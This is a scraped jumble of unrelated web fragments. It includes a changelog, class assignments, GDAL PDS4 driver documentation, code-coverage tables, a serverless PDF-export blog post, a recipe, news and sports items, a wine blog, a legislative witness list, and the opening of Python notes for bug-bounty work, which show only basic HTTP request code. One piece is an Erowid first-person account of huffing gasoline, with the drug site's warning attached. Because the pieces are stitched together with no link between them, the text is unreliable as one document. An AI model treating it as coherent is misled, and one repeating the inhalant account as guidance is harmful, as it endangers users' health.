- New button to reset the Rows Summary, undoing all user selections in the report. (thanks @denilsonsa) r478
Date range
Charts
- Now showing chart bar original value as a tooltip. (by @_Felipe) r144
- New feature: charts at daily reports. r190
- New configs to set the initial selected item for each chart type: initChartDaily, initChartMonthly, initChartYearly. r192
- Fixed two bugs in the chart bar label. (thanks @xupisco) r350
- When the value was exactly 1000, it was showing 1 instead 1k.
- When the value was 1 million (or greater), it was showing 1000m instead 1m.
Misc
- Faster TXT file loading. (thanks @ricobl) r125
- Added tooltips (help) for all controls. r165
- Added favicon. (by @xupisco) r340
- Set the page TITLE to full app name. (thanks @xupisco) r341
- Hide the totals rows if there's only one row in the report. r460
Config
- Added Widget support. See sample in sample/widget-nerd-toy.js. r505
- Added three new "hello world" sample Widgets. r513
Test Suite
- New test-suite test/functions.js. Instructions at file header. r549


This is a webpage I created in computer class. The purpose of this assignment is to create list (order, unordered) and links. Below is the instruction I followed.
Create a new folder called "listsandlinks" in your repository folder.
Inside listsandlinks create a file called "index.html" and a file called "main.css"
In index.html create an ordered list of step by step instructions to create a new webpage on the production server.
Also create an unordered list of 5 or more links to websites with useful webdesign related information.
In the nav section, create an unordered list of links with a link back to your main index page.
In your main index.html file in public_html, add an unordered list of links to the nav section with a link to "listsandlinks".
In your old index.html, add an article with a heading and a paragraph description of this assignment.
Also add an unordered list that contains this list of requirements.
Turn in your work.
Tables
This is an assignment I created to practice making grids and tables. This is the list of instruction I followed.
Create a new folder in your repository called "tables"
In the "tables" folder, create a new file called from your template "index.html"
Be sure to use thead, tbody, and tfoot elements in your tables.
Add html code to recreate the webpage below.
second table will require the use of the colspan attribute.
third table will require the use of the rowspan attribute.
In your repository index.html file, add an article with a heading, paragraph description and this list of requirements. Also add a link to the tables/index.html file.
Add a link from lists and links to this assignment as well.


{% extends "global/Base.html" %} {% load staticfiles otree_tags %} {% block title %} Transaction (Period {{ round_num }} of {{ num_of_rounds }}) {% endblock %} {% block content %}
{% if group.shares_traded %} You just {% if self.player.order_type == 'Buy' %} bought{% else %} sold {% endif %} {{ group.shares_traded }} shares at the price of {{ transaction_price }}. Now, your positions are the following: {% else %} No transaction took place this period. Your positions are not changed: {% endif %}


PDS4 files are compose of a .xml (label) file which references a raw imagery file. The driver also supports imagery stored in a separate uncompressed GeoTIFF file with a strip organization compatible of a raw imagery file.
The driver also reads and write georeferencing and coordinate system information as well as selected other header metadata.
If several Array objects are present in the label, they will be reported as separate subdatasets (typically the main subdataset is an Array3D, and backplanes are represented as Array2D). Creation of new datasets with subdatasets is not supported: only a single Array3D with possibly multiple bands is supported.
A mask band is attached to each source band. The value of this mask band is 0 when the pixel value is one of the missing constants.
Implementation of this driver was supported by the United States Geological Survey.
PDS4 is part of a family of related formats including PDS and ISIS3.
The PDS4 label can be retrieved as XML-serialized content in the xml:PDS4 metadata domain.
On creation, a source template label can be passed to the SetMetadata() interface in the "xml:PDS4" metadata domain.
The PDS4 driver supports updating imagery of existing datasets, creating new datasets through the CreateCopy() and Create() interfaces.
When using CreateCopy(), gdal_translate or gdalwarp, an effort is made to preserve as much as possible of the original label when doing PDS4 to PDS4 conversions. This can be disabled with the USE_SRC_LABEL=NO creation option.
The available creation options are:
$ gdalinfo b0011_p237201_01_01v02.xml Driver: PDS4/NASA Planetary Data System 4 Files: b0011_p237201_01_01v02.xml b0011_p237201_01_01v02.qub Size is 512, 512 Coordinate System is `' Image Structure Metadata: INTERLEAVE=BAND Subdatasets: SUBDATASET_1_NAME=PDS4:b0011_p237201_01_01v02.xml:1:1 SUBDATASET_1_DESC=Image file b0011_p237201_01_01v02.qub, array Spectral_Qube_Object SUBDATASET_2_NAME=PDS4:b0011_p237201_01_01v02.xml:1:2 SUBDATASET_2_DESC=Image file b0011_p237201_01_01v02.qub, array iof_r2 SUBDATASET_3_NAME=PDS4:b0011_p237201_01_01v02.xml:1:3 SUBDATASET_3_DESC=Image file b0011_p237201_01_01v02.qub, array iof_r7 SUBDATASET_4_NAME=PDS4:b0011_p237201_01_01v02.xml:1:4 [...] SUBDATASET_16_DESC=Image file b0011_p237201_01_01v02.qub, array emission_angle SUBDATASET_17_NAME=PDS4:b0011_p237201_01_01v02.xml:1:17 SUBDATASET_17_DESC=Image file b0011_p237201_01_01v02.qub, array phase_angle SUBDATASET_18_NAME=PDS4:b0011_p237201_01_01v02.xml:1:18 SUBDATASET_18_DESC=Image file b0011_p237201_01_01v02.qub, array approx_incidence_angle SUBDATASET_19_NAME=PDS4:b0011_p237201_01_01v02.xml:1:19 SUBDATASET_19_DESC=Image file b0011_p237201_01_01v02.qub, array approx_emission_angle SUBDATASET_20_NAME=PDS4:b0011_p237201_01_01v02.xml:1:20 SUBDATASET_20_DESC=Image file b0011_p237201_01_01v02.qub, array approx_phase_angle Corner Coordinates: Upper Left ( 0.0, 0.0) Lower Left ( 0.0, 512.0) Upper Right ( 512.0, 0.0) Lower Right ( 512.0, 512.0) Center ( 256.0, 256.0) Band 1 Block=512x1 Type=Int16, ColorInterp=Undefined Offset: 0.146998785514825, Scale:4.48823844390647e-06 Band 2 Block=512x1 Type=Int16, ColorInterp=Undefined Offset: 0.146998785514825, Scale:4.48823844390647e-06 Band 3 Block=512x1 Type=Int16, ColorInterp=Undefined Offset: 0.146998785514825, Scale:4.48823844390647e-06 Band 4 Block=512x1 Type=Int16, ColorInterp=Undefined Offset: 0.146998785514825, Scale:4.48823844390647e-06 Band 5 Block=512x1 Type=Int16, ColorInterp=Undefined Offset: 0.146998785514825, Scale:4.48823844390647e-06
The information displayed by default is the one of the first subdataset (SUBDATASET_1_NAME)
$ gdalinfo PDS4:b0011_p237201_01_01v02.xml:1:2 Driver: PDS4/NASA Planetary Data System 4 Files: b0011_p237201_01_01v02.xml b0011_p237201_01_01v02.qub Size is 512, 512 Coordinate System is `' Corner Coordinates: Upper Left ( 0.0, 0.0) Lower Left ( 0.0, 512.0) Upper Right ( 512.0, 0.0) Lower Right ( 512.0, 512.0) Center ( 256.0, 256.0) Band 1 Block=512x1 Type=Int16, ColorInterp=Undefined Offset: 0.04984971, Scale:7.454028e-06
$ gdal_translate PDS4:b0011_p237201_01_01v02.xml:1:2 iof_r2.tif
$ gdal_translate -sds b0011_p237201_01_01v02.xml b0011_p237201_01_01v02.tif
This will create b0011_p237201_01_01v02_X.tif files where X=1,....,N
$ gdal_translate input.tif output.xml -of PDS4 \ -co VAR_TARGET_TYPE=Satellite \ -co VAR_Target=Moon \ -co VAR_OBSERVING_SYSTEM_NAME=LOLA \ -co VAR_LOGICAL_IDENTIFIER=Lunar_LRO_LOLA_DEM_Global_64ppd.tif \ -co VAR_TITLE="LRO LOLA Digital Elevation Model (DEM) 64ppd" \ -co VAR_INVESTIGATION_AREA_NAME="Lunar Reconnaissance Orbiter" \ -co VAR_INVESTIGATION_AREA_LID_REFERENCE="urn:nasa:pds:context:instrument_host:spacecraft.lro"
Create a text file "myOptions.txt" with the below content
#This is a comment #Conversion parameters for the LRO LOLA dataset -co VAR_TARGET_TYPE=Satellite -co VAR_Target=Moon -co VAR_OBSERVING_SYSTEM_NAME=LOLA -co VAR_LOGICAL_IDENTIFIER=Lunar_LRO_LOLA_DEM_Global_64ppd.tif -co VAR_TITLE="LRO LOLA Digital Elevation Model (DEM) 64ppd" -co VAR_INVESTIGATION_AREA_NAME="Lunar Reconnaissance Orbiter" -co VAR_INVESTIGATION_AREA_LID_REFERENCE="urn:nasa:pds:context:instrument_host:spacecraft.lro" #end of file
gdal_translate input.tif output.xml -of PDS4 --optfile myOptions.txt
For more on --optfile, consult the general documentation on GDAL utilities.
$ gdal_translate input.tif output.xml -of PDS4 \ -co TEMPLATE=http://example.com/mytemplate.xml
$ gdal_translate input.xml output.xml -of PDS4 -projwin ullx ully lrx lry
from osgeo import gdal from lxml import etree # Customization of template template = open('template.xml','rb').read() root = etree.XML(template) ns = '{http://pds.nasa.gov/pds4/pds/v1}' identifier = root.find(".//{ns}Identification_Area/{ns}logical_identifier".format(ns = ns)) identifier.text = 'new_identifier' # Serialize the modified template in a in-memory file in_memory_template = '/vsimem/template.xml' gdal.FileFromMemBuffer(in_memory_template, etree.tostring(root)) # Create the output dataset gdal.Translate('out.xml', 'in.tif', format = 'PDS4', creationOptions = ['TEMPLATE='+in_memory_template]) # Cleanup gdal.Unlink(in_memory_template)
As a new driver and new format, please report any issues to the bug tracker, as explained on the wiki


|
J3ngine
|
#include <Model.h>
Public Attributes | |
| GLvoid * | data |
| size_t | dataLength |
| GLenum | type |
| GLuint | attribIndex |
| GLint | vecDim = 3 |
| GLsizei | stride = 0 |
| GLvoid * | offset = (void*) 0 |
| GLuint | ID = 0 |
| GLuint VertexBuffer::attribIndex |
Index of the vertex attribute in the ShaderProgram
| GLvoid* VertexBuffer::data |
Pointer to an element array
| size_t VertexBuffer::dataLength |
Number of elements in the array
| GLuint VertexBuffer::ID = 0 |
OpenGL buffer handle
| GLvoid* VertexBuffer::offset = (void*) 0 |
Offset in the vertex buffer
| GLsizei VertexBuffer::stride = 0 |
Space between vectors
| GLenum VertexBuffer::type |
Type of elements in the array, see https://www.khronos.org/registry/OpenGL-Refpages/gl4/html/glVertexAttribPointer.xhtml
| GLint VertexBuffer::vecDim = 3 |
Amount of elements per vector


Toggle navigation
WatchLater
Home
GitHub
Please login first
Login
1. Choose target playlist
2. Choose subscriptions
3. Specify options
Remove watched videos
Don't remove
Immediately
After 1 day
After 2 days
After 3 days
After 1 week
Activate
Deactivate


| dist/ |
|
91.19% |
207/227 |
50% |
18/36 |
97.22% |
35/36 |
91.08% |
194/213 |
| dist/binders/ |
|
100% |
28/28 |
100% |
4/4 |
100% |
2/2 |
100% |
24/24 |
| dist/binders/base/ |
|
100% |
102/102 |
100% |
20/20 |
100% |
10/10 |
100% |
82/82 |
| dist/binders/base/base/ |
|
98.58% |
208/211 |
80% |
28/35 |
100% |
70/70 |
98.57% |
207/210 |
| dist/binders/base/class/ |
|
99.23% |
129/130 |
83.33% |
5/6 |
100% |
31/31 |
99.22% |
127/128 |
| dist/binders/base/class/base/ |
|
100% |
45/45 |
100% |
0/0 |
100% |
12/12 |
100% |
45/45 |
| dist/binders/base/enum/ |
|
100% |
30/30 |
100% |
0/0 |
100% |
6/6 |
100% |
30/30 |
| dist/binders/base/expression/ |
|
76.74% |
33/43 |
33.33% |
2/6 |
69.23% |
9/13 |
75.61% |
31/41 |
| dist/binders/base/expression/base/ |
|
87.5% |
14/16 |
66.67% |
4/6 |
100% |
3/3 |
87.5% |
14/16 |
| dist/binders/base/file/ |
|
88% |
66/75 |
50% |
4/8 |
84.21% |
16/19 |
88% |
66/75 |
| dist/binders/base/function/ |
|
100% |
22/22 |
100% |
0/0 |
100% |
6/6 |
100% |
22/22 |
| dist/binders/base/general/ |
|
96.04% |
97/101 |
100% |
0/0 |
92.59% |
25/27 |
96.04% |
97/101 |
| dist/binders/base/interface/ |
|
100% |
60/60 |
100% |
0/0 |
100% |
15/15 |
100% |
60/60 |
| dist/binders/base/namespace/ |
|
100% |
18/18 |
100% |
0/0 |
100% |
3/3 |
100% |
18/18 |
| dist/binders/base/variable/ |
|
100% |
20/20 |
100% |
0/0 |
100% |
3/3 |
100% |
20/20 |
| dist/binders/structure/ |
|
100% |
98/98 |
100% |
20/20 |
100% |
10/10 |
100% |
78/78 |
| dist/binders/structure/base/ |
|
100% |
445/445 |
100% |
216/216 |
100% |
127/127 |
100% |
368/368 |
| dist/binders/structure/class/ |
|
99.47% |
188/189 |
100% |
87/87 |
100% |
50/50 |
99.35% |
153/154 |
| dist/binders/structure/class/base/ |
|
100% |
66/66 |
100% |
30/30 |
100% |
17/17 |
100% |
54/54 |
| dist/binders/structure/enum/ |
|
100% |
41/41 |
100% |
18/18 |
100% |
12/12 |
100% |
34/34 |
| dist/binders/structure/expression/ |
|
95.08% |
58/61 |
100% |
23/23 |
93.75% |
15/16 |
94% |
47/50 |
| dist/binders/structure/expression/base/ |
|
96.77% |
30/31 |
100% |
9/9 |
90.91% |
10/11 |
96.43% |
27/28 |
| dist/binders/structure/file/ |
|
100% |
141/141 |
92.73% |
51/55 |
100% |
47/47 |
100% |
122/122 |
| dist/binders/structure/function/ |
|
100% |
32/32 |
100% |
14/14 |
100% |
8/8 |
100% |
26/26 |
| dist/binders/structure/general/ |
|
100% |
155/155 |
98.53% |
67/68 |
100% |
41/41 |
100% |
129/129 |
| dist/binders/structure/interface/ |
|
98.81% |
83/84 |
100% |
40/40 |
100% |
24/24 |
98.48% |
65/66 |
| dist/binders/structure/namespace/ |
|
100% |
19/19 |
100% |
9/9 |
100% |
5/5 |
100% |
16/16 |
| dist/binders/structure/variable/ |
|
100% |
19/19 |
100% |
9/9 |
100% |
5/5 |
100% |
16/16 |
| dist/definitions/ |
|
83.45% |
121/145 |
50% |
20/40 |
61.11% |
11/18 |
81.45% |
101/124 |
| dist/definitions/base/ |
|
99.14% |
344/347 |
96.72% |
59/61 |
99.05% |
104/105 |
99.38% |
320/322 |
| dist/definitions/class/ |
|
96.27% |
232/241 |
97.5% |
78/80 |
93.22% |
55/59 |
95.69% |
200/209 |
| dist/definitions/class/base/ |
|
100% |
55/55 |
100% |
21/21 |
100% |
14/14 |
100% |
46/46 |
| dist/definitions/enum/ |
|
100% |
46/46 |
100% |
14/14 |
100% |
11/11 |
100% |
40/40 |
| dist/definitions/expression/ |
|
100% |
73/73 |
100% |
30/30 |
100% |
20/20 |
100% |
59/59 |
| dist/definitions/expression/base/ |
|
85.71% |
48/56 |
89.47% |
17/19 |
77.78% |
14/18 |
89.36% |
42/47 |
| dist/definitions/file/ |
|
88.54% |
170/192 |
85.19% |
46/54 |
83.67% |
41/49 |
88.37% |
152/172 |
| dist/definitions/function/ |
|
100% |
41/41 |
100% |
14/14 |
100% |
10/10 |
100% |
35/35 |
| dist/definitions/general/ |
|
97.16% |
171/176 |
100% |
69/69 |
95.56% |
43/45 |
96.6% |
142/147 |
| dist/definitions/interface/ |
|
96.49% |
110/114 |
100% |
30/30 |
96.55% |
28/29 |
96.04% |
97/101 |
| dist/definitions/namespace/ |
|
100% |
25/25 |
100% |
7/7 |
100% |
5/5 |
100% |
22/22 |
| dist/definitions/variable/ |
|
100% |
24/24 |
100% |
7/7 |
100% |
5/5 |
100% |
21/21 |
| dist/factories/ |
|
98.75% |
237/240 |
70.59% |
24/34 |
98.85% |
86/87 |
99.16% |
235/237 |
| dist/utils/ |
|
100% |
164/164 |
100% |
40/40 |
100% |
54/54 |
100% |
158/158 |
| dist/utils/decorators/ |
|
100% |
21/21 |
100% |
8/8 |
100% |
3/3 |
100% |
21/21 |
| dist/writers/ |
|
95.36% |
986/1034 |
84.64% |
248/293 |
95.95% |
237/247 |
95.63% |
984/1029 |


Feel free to contact me at any of the social media links listed above or email me at: aalcesto23@gmail.com


In the last post I built a PHP capable sample project for the Serverless Framework. In this post, I’ll show a concrete use of it.
The service I’m building connects runs a PHP function for pretty-printing chess games from the lichess online chess server. James Clarke has written a PHP function to do this using fpdf17.
The lichess exporter takes the game id of any game that has been played on the lichess server and produced a PDF output. Take for example, Game 8 of the current World Championship which is here. When I open the resulting file, I see this:
In this blog post I’ll describe how I turned this into a serverless service. The goal is to create:
- Add an endpoint which takes the game id as a parameter
- Run the PHP function via an AWS lambda function
- Return the result as a stream
Prerequisites
First check everything we need is installed.
$ serverless --version
1.2.1
$ node --version
v7.1.0
Initial setup
$ mkdir serverless-lichess-to-pdf
$ cd serverless-lichess-to-pdf
$ sls install --url https://github.com/ZeroSharp/serverless-php
Next copy in the source from https://github.com/clarkerubber/lichessPDFExporter.
You can check it works by running the following.
$ php main.php COQChpzH > COQChpzH.pdf
What’s going on here? The php binary (from the serverless-php project) is running main.php (from the lichess-pdf-exporter project) with argument COQChpzH
(which corresponds to a chess game on the lichess server. The main.php function downloads the game from the lichess API and passes it through the fpdf17 library to create a pdf stream which is written out to the COQChpzH.pdf
file.
Lessons learned
I learned a few things while trying to get this project working. The basic plan is to modify handler.js so that it return the output of the call described above. Turns out there are quite a few gotchas along the way.
Lesson 1 - Defining a path parameter
I want my API to look like this:
http://.../serverless-lichess-to-pdf/export/{gameid}
I could not find an example in the serverless docs for getting a parameter that is passed in the URL.
Turns out your serverless.yml
file should look like this:
1 2 3 4 5 6 7 |
|
Then, in your handler.js you can retrieve the parameter with:
1 2 3 4 |
|
Lesson 2 - API Gateway does not support binary data
I was hoping I could just do something like this:
1 2 3 4 5 6 7 8 |
|
At present, you cannot return a binary file. Amazon have just (November 2016) released support for binary types in API Gateway but it’s currently an open issue in the Serverless Framework.
Lesson 3 - You can redirect the response to an S3 bucket
So instead of returning the binary output, I can write the output to an S3 bucket and return a 302 redirection to the S3 resource. Like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
|
Lesson 4 - You can automatically delete S3 objects after a number of days
Each S3 bucket has optional lifecycle rules where you can specify that files are automatically removed after a time period. I wanted to set this up within the serverless.yml
resources section, but the syntax for the lifecycle rules were not very obvious and I could not find any examples online. The following seems to work:
1 2 3 4 5 6 7 8 9 10 11 |
|
It’s all working now
You can check it out by visiting this link.
I also wrote a Chrome extension which injects the link into the lichess page.


(Mailing list information, including how to remove yourself, is located at the end of this message.)
{{>original_sender_mention}} {{> message_body}}Forward this Message to a Friend »
Subscription Reminder: You're Subscribed to: using the address:
From:
Manage Your Subscription » or, Request Removal » Unsubscribe Automatically »


This chapter summarizes the changes in release 4 wrt. previous SICStus Prolog releases as well as changes introduced by patch releases.


Preparation time
30 mins to 1 hour
Cooking time
less than 10 mins
Serves
Serves 4
Dietary
For the deep-fried eggs, sprinkle the flour onto one plate, beat the two raw eggs in a bowl and sprinkle the Japanese breadcrumbs, parsley, chervil and tarragon (mixed together) onto another plate. One at a time, dredge the soft-boiled eggs first in the flour, then dip them in the beaten eggs, then roll them in the herbs and breadcrumbs mixture until completely coated.
Place each coated egg onto a sheet of greaseproof paper and chill in the fridge for at least one hour.
Meanwhile, for the asparagus, cook the asparagus in boiling, salted water for 2-3 minutes. Drain well and refresh in iced water.
For the hollandaise sauce, bring a little water to the boil in a pan, then reduce the heat until the water is simmering. Suspend a heatproof bowl over the water (do not allow the base of the bowl to touch the water). Add the lemon juice and egg yolks and whisk continuously for 4-5 minutes, or until the mixture is pale and has doubled in volume.
Remove the egg and lemon mixture from the heat. Gradually add the clarified butter in a thin stream, whisking continuously, until all of the clarified butter is incorporated into the mixture.
Add two tablespoons of water to the hollandaise sauce if necessary, to loosen. Keep warm until ready to use.
Heat the oil in a deep fat fryer to 190C/375F. Alternatively, heat the oil in a deep heavy-based frying pan until a breadcrumb sizzles and turns brown when dropped into it. (CAUTION: hot oil can be dangerous. Do not leave unattended.)
Carefully lower the chilled, coated eggs into the hot oil and fry for 3-4 minutes, or until crisp and golden-brown. Remove from the pan using a slotted spoon and set aside to drain on kitchen paper.
To serve, divide the asparagus spears equally among four serving plates. Place one crisp egg on top of each serving of asparagus. Drizzle the hollandaise sauce around the edge of the plate.


Woman arrested for two OWI's in less than 24 hours, police say
by Logan RudeDODGEVILLE, Wis. - A Mineral Point woman was arrested for two OWIs in less than 24 hours according to a news release.
Amanda Varney, 35, was stopped at 11:23 p.m. Thursday after police received a complaint about a reckless driver who almost crashed while driving westbound on U.S. Highway 18/151, according to the release. Police said she was stopped near Dodgeville and was subsequently arrested.
At 11:16 p.m. Friday, an Iowa County deputy stopped Varney for erratic driving while traveling on U.S. Highway between Ridgeway and Dodgeville, according to the release. She was arrested for OWI again, police said.


You can deploy Alphas to live trading and update the version of Alphas that you have deployed.
Deploy Alpha
Follow these steps to deploy an Alpha to live trading:
- Log in to the Algorithm Lab.
- In the left navigation bar, click Strategies > Subscriptions & Bids.
- On the Subscriptions & Bids page, click Deploy next to the Alpha that you want to deploy.
- Follow the live trading tutorial of the brokerage that you want to use when deploying the Alpha.
Update Alpha
If the author of an Alpha you're running live updates the Alpha, stop the algorithm and then redeploy the Alpha to update the version you're running live.


[Erowid Warning: Our understanding of the literature is that there is no such thing as safe use of volatile solvents, aerosols and other street inhalants : their psychoactive effects are inseparable from nerve and organ damage. We have chosen to include these reports to help document the real world use of inhalants, but their inclusion is not intended to imply that they are anything but dangerous.]
I've only used drugs for about a year now. Weed, opium, dxm, lsa, ritalin; gasoline has been my favorite.
Anyway, my first experience was in my garage, I would take the gas can, hold it to my mouth and inhale. After a minute or two, I would hear every sound echoing, then I would begin to make out robotic, high pitched voices out of rustling leaves. For some reason in every inhalent experience I have, my paranoia comes out in the form of extremely realistic hallucinations. My mother, for example, would come to the door of our garage and peek in, and on a couple of occasions, I would throw the gas bottle down, spilling it, only to realize my mom wasn't there.
Once I hallucinated a queen/fairy stepping down the stairs behind me, saying 'I have arrived, my royal duty is to crown you king' very strange almost deja vu-ish feelings. Somehow, I felt like I knew this queen, or that I had met her, somewhere sometime, in a dream far away. When I was 5 or 6, I remember playing in my garage, and I almost wonder if I had accidentally inhaled gasoline fumes then, and met this queen in a trip long ago.
Sometimes, if I would inhale too much gas, I would enter a strange world, almost cartoonic, where bright orange and yellow creatures would play tricks and pranks on each other. Somehow, I would ALWAYS have a feeling of permanentness, not that I would be permanently in this hallucinigenic state, but how long the universe has been in existance, and if my life was real, or if it was a dream. One time I entered this world, and all of a sudden snapped out of it, feeling scared it would have been permanent.
After a few trips, I would begin to have hallucinations inside my body; that I could feel. It felt as if there was an air bubble running through by bloodstream, and that my heart was beginning to turn inside out. This freaked me out, and I stopped huffing.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Date Converter
Date (yyyy-mm-dd)
Convert to week-date
Week-year and week (yyyy-ww)
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
First day of week
Sunday
Monday


To Cava or not to Cava
My wine touring begins with an organic winery within walking distance of my hotel in Sant Pau. Albet i Noya is a family winery that dates back to turn of the 20th century and, perhaps more importantly, has been making organic wines since the late 1970s. Now, personally I’ve never been a fan of organic wines. First of all, there are very few producers in the U.S.–Fetzer’s Bontara perhaps being the most popular. Today, I realized how little I really new about them.
Organic wines have rules akin to organic produce. However, rules differ between countries. For instance, in the U.S. sulfite quantities have to be less than 10 parts per million. In the E.U. its 100 parts per million. That is one of the reasons organic wine is so rare in the U.S.
Albet approaches organic wine making as very matter-of-fact. As my host Marta put it, “after 30 years it just seems normal.” Being organic stays in the vineyard. Albet is constantly experimenting with crossings to create more disease-resistant vines. They even go as far as to experiment with unknown pre-phylloxera vines which have survived and were previously undiscovered. This would be unheard of in the varietal-focused U.S. I wish I had a dime for every customer that came into Dry Creek Vineyard and first asked, “Can I try your Cabernet”, even though our specialty is Zinfandel. In addition to crossings Albet uses other practices such as spraying insect pheromones to confuse breeding and, like DCV, dry farming to increase plant hardiness. The idea is simple, healthy vines = less chemicals = better wines.
Albet is also part of a movement in Penedès to produce sparkling wines without calling them Cava, which has long earned a reputation as being an inexpensive alternative to Champagne. The trouble is they’ve become too cheap. Large producers like Freixenet and Cordoniu have driven prices to non-competitive levels through volume. Today the average consumer would balk at paying more than $20 for Cava, but jump at Champagne for the same price. So, Artisan producers like Albet are replacing “Cava” with their Penedès DO designation. So, keep that in mind the next time you’re shopping for Spanish sparkling. The one I tried was a “natural” version with that traditional hint of yeast and citrus on the nose, but offering a crisp, clean palette of green apple and lemon without the usual bread dough of Champagne.
But Albet is not just about sparkling. Indeed, a great deal of their wine is still. They make both red and whites, but the Catalonian Xarel-lo (pr. che-rel-LO) is one grape they really take pride in-producing both barrel and steel-only versions. The one I tried had a soft grapefruit scent augmented by a good dose of steely wet cement. The palette was surprisingly supple with delicate acidity, grapefruit, lychee, honeydew, and a lingering finish. Almost what one would expect if you mixed a Russian River Chardonnay with a NZ Sauvignon Blanc.
I finished with a red blend of Cabernet Sauvignon, Tempranillo (Ull de Lebre), Shiraz, and Malbec. A brilliant red cherry, strawberry nose followed by cherry vanilla, and cocoa revealed by 24 months of oak on the palette.
These wines are world-class and make me wonder why more wineries aren’t organic.”


{{ st.fileName }}:{{ st.lineNumber }}
)
| Blocked Time | Blocked Count | Waited Time | Waited Count | Lock name |
|---|---|---|---|---|
| {{ thread.blockedTime }} | {{ thread.blockedCount }} | {{ thread.waitedTime }} | {{ thread.waitedCount }} |
{{ thread.lockName }}
|


WITNESS LIST
Agriculture & Livestock Committee
March 27, 2013 - 8:00 AM
For:
Bridge, Linda (Self)
Registering, but not testifying:
For:
Bragiel, Justin (Texas Hotel & Lodging Association)
For:
Luna, Joe (Zavala County)
Registering, but not testifying:
For:
Bragiel, Justin (Texas Hotel & Lodging Association)
For:
Redford, Susan (Ector County)
Registering, but not testifying:
For:
Bragiel, Justin (Texas Hotel & Lodging Association)
For:
Turner, Bob (Self)
Registering, but not testifying:
For:
Gee, Charles (Tx logging council)
Hodges, Ken (Texas Farm Bureau)
Hufford, Ronald (Texas Forestry Association)
Morris, Joe (Texas Sheep and Goat Raisers Association)
Patton, Marissa (Texas and Southwestern Cattle Raisers Association)
Turley, Darren (Texas association of dairymen)
On:
Wright-Steele, Catherine (Texas Department of Agriculture)
1


Sick of staying at home, sick of limitations? Be free! Find a route and enjoy nature!
To routesIs this your Leg day?
When you want to be one with nature!
When you want the wind to blow on your face!
Going on a trip with friends?
Read more about the most commented route and do not miss the chance to visit it and give your opinion to help other users.
Learn More


Where Bills stand in AFC playoff picture
Here is what we know at the end of Week 11 in the AFC playoff picture following the Kansas City Chiefs' win against the Los Angeles Chargers on Monday night.
AFC East
The New England Patriots (9-1) beat the Philadelphia Eagles on Sunday, so the Buffalo Bills (7-3) remain two games behind for the division lead.
AFC wild card
The Bills have the third-best record in the AFC, but are in position as the first wild card in the AFC because of the division winners.
Currently, New England is the No. 1 seed, followed by No. 2 Baltimore (8-2), No. 3 Kansas City (7-4) and No. 4 Houston (7-4) after their win Thursday against Indianapolis.
The Bills would be the fifth seed and Oakland is the sixth seed (6-4).
Indianapols is 6-5. Pittsburgh and Tennessee are 5-5.
Week 12 games to watch
Thursday: Indianapolis at Houston
Sunday: Denver at Bills, Cowboys at Patriots, Raiders at Jets
Monday: Ravens at Rams


UTC time is {{ utcTime }}
Local time is {{ currentTime }}
| TITLE | INTERVAL | INPUT | ACTIONS | |
|---|---|---|---|---|
| {{watcher.title}} {{watcher.title}} | {{ watcher.trigger.schedule.later }} | {{ inputInfo(watcher) }} |
{{ settings.name }} |
Advanced Wizard |


Hibs squad revealed as Martin Boyle to be assessed ahead of Celtic clash
Paul Heckingbottom bids to ease the pressure on his shoulders by reaching the Betfred Cup Final.
by Record Sport OnlineHibs boss Paul Heckingbottom reported "a lot of knocks" to unnamed players ahead of Saturday's Betfred Cup semi-final against Celtic.
Martin Boyle will be assessed after coming off the bench to net a late equaliser against Livingston on Wednesday on his comeback from a long-term knee problem.
Midfielder Vykintas Slivka is at a similar stage as Boyle following an ankle break but Hibs defenders Darren McGregor (abdomen) and David Gray (knee) are still out.
Celtic , meanwhile, are sweating over the fitness of skipper Scott Brown after he picked up an injury.
Mikey Johnston, however, could return to action.
Potential line-up
Provisional squad
Maxwell
Stevenson
James
Porteous
Whittaker
Jackson
Naismith
Hanlon
Hallberg
Middleton
Vela
Newell
Murray
Horgan
Mallan
Allan
Doidge
Shaw
Kamberi
Slivka
Boyle
Marciano


Python for Bug Bounty Hunters & Web Hackers
Sharing my personal notes that I took and the resources that I refered while I was preparing AWAE and learning about Python.
Check out my original Github Repository here: Python for AWAE
Objective
Learn and understand Python well enough that we can use it to automate our bug bounty tasks or create quick exploits whenever required.
Where did I learn python?
- Python Tutorial for Beginners
- World's Best Python Tutorials (I think)
- Python OS Module
- Python Read and Write to files
- Python Requests Module
- Python re Module
- Python BeautifulSoup Module
- Python JSON Module
- Python Itertools Module
- Send Emails using python
- Python Requests-HTML Module
- Python Subprocess Module
- Python Threading Module
- Python Multiprocessing Module
- Python Zip Files Tutorial
Necessary Python Libraries
urllib2 (if python 2.x is in use)
Code to make a Simple GET Request using urllib2:
import urllib2
url = 'https://www.google.com/'
response = urllib2.urlopen(url) # GET
print(response.read())
response.close()
urllib (if python 3.x is in use)
Code to make a Simple GET Request using urllib:
import urllib.parse
import urllib.request
url = 'https://www.google.com/'
with urllib.request.urlopen(url) as response: # GET
content = response.read()
print(content)
Code to make a Simple POST Request using urllib:
info = {'user':'blackhat', 'passwd':'1337'}
data = urllib.parse.urlencode(info).encode() # data is now of type bytes
req = urllib.request.Request(url, data)
with urllib.request.urlopen(req) as response: # POST
content = response.read()
print(content)
Requests
- It's not a part of the standard library, hence the installation is required.
- Installation:
-
pip install requests
- Importing:
-
import requests
- Methods:
-
r = requests.get(url) r = requests.post(url, data={'key':'value'}) r = requests.put(url, data={'key':'value'}) r = requests.delete(url) r = requests.head(url) r = requests.options(url)
- Print Request URL:
-
print(r.url)
- Passing params in URLs via GET:
-
payload = {'key1': 'value1', 'key2': 'value2'} r = requests.get('https://httpbin.org/get', params=payload)
- Passing a list of items:
-
payload = {'key1': 'value1', 'key2': ['value2', 'value3']} r = requests.get('https://httpbin.org/get', params=payload) print(r.url)
- Get Response Content in binary form:
-
r.content
- Get Response Content in json form:
-
r.json
- Get raw response content:
-
r.raw.read(10)
- Add custom header:
-
url = 'https://api.github.com/some/endpoint' headers = {'user-agent': 'my-app/0.0.1'} r = requests.get(url, headers=headers)
- POST a multipart-encoded file:
-
url = 'https://httpbin.org/post' files = {'file': open('report.xls', 'rb')} r = requests.post(url, files=files) r.text
- Sending our own cookies:
-
cookies = dict(cookies_are='working') r = requests.get(url, cookies=cookies) r.text
- Others:
-
r.status_code # get status code r.headers # get response headers r.cookies # get cookies
lxml
and BeautifulSoup
packages
-
The
lxml
package provides a slightly faster parser, while theBeautifulSoup
